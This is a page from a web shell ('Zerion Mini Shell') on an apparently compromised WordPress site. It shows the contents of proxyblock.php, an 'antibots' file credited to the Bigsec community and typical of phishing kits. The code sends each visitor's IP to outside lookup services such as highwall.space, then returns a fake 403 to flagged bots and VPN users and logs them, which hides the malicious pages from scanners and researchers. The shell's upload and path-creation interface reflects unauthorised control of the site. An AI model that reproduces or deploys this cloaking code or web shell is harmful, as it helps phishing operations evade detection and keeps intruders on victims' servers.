%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/friendstravel.al/wp-content/uploads/index/antibots/
Upload File :
Create Path :
Current File : /var/www/html/friendstravel.al/wp-content/uploads/index/antibots/proxyblock.php

<?php
/*
       t . m e / b i g s e c c o m m u n i t y 

   ▄▄▄▄███▄▄▄▄      ▄████████    ▄████████    ▄████████ 
 ▄██▀▀▀███▀▀▀██▄   ███    ███   ███    ███   ███    ███ 
 ███   ███   ███   ███    ███   ███    ███   ███    █▀  
 ███   ███   ███   ███    ███  ▄███▄▄▄▄██▀   ███        
 ███   ███   ███ ▀███████████ ▀▀███▀▀▀▀▀   ▀███████████ 
 ███   ███   ███   ███    ███ ▀███████████          ███ 
 ███   ███   ███   ███    ███   ███    ███    ▄█    ███ 
  ▀█   ███   █▀    ███    █▀    ███    ███  ▄████████▀  
                                ███    ███              

 M a n i A k a R i s k  | B i g s e c  C o m m u n i t y 
 */

$random_id = sha1(rand(0,1000000));
function getUserIPs()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $v_ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $v_ip = $forward;
    }
    else
    {
        $v_ip = $remote;
    }

    return $v_ip;
}

$v_ip = getUserIPs();
    if($v_ip == "127.0.0.1") {
    }else{
        if($alt_block_vpn == "on") {
            $url = "https://blackbox.ipinfo.app/lookup/".$v_ip;
            $ch = curl_init();
            curl_setopt($ch,CURLOPT_URL,$url);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $resp = curl_exec($ch);
            curl_close($ch);
            $result = $resp;
            if($result == "Y") {
                $file = fopen("proxy-block.txt","a");
                $message = $v_ip."\n";
                fwrite($file, $message);
                fclose($file);
                $click = fopen("result/total_bot.txt","a");
                fwrite($click,"<tr><td><p class=\"text-danger\">$v_ip|VPN/Proxy</p></td></tr>");
                fclose($click);
                header('HTTP/1.0 403 Forbidden');
                die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');
                exit();
            }
        } else {
            $isp = print_r($_POST, true);
            $isp = bin2hex($isp);
            $url = "http://highwall.space/check/?ip=".$v_ip."&fingerprint=on&ispinfo=isp&flags=b&api=SKecCwlsiuTDuIT8gZT";
            $ch = curl_init();
            curl_setopt($ch,CURLOPT_URL,$url);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $resp = curl_exec($ch);
            curl_close($ch);
            $result = json_decode($resp);
            $a = $result->badbot;
            if($a == "true") {
                $file = fopen("proxy-block.txt","a");
                $message = $v_ip."\n";
                fwrite($file, $message);
                fclose($file);
                $click = fopen("result/total_bot.txt","a");
                fwrite($click,"<tr><td><p class=\"text-danger\">$v_ip|VPN/Proxy</p></td></tr>");
                fclose($click);
                header('HTTP/1.0 403 Forbidden');
                die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');
                exit();
            }

        }
    }

?>

Zerion Mini Shell 1.0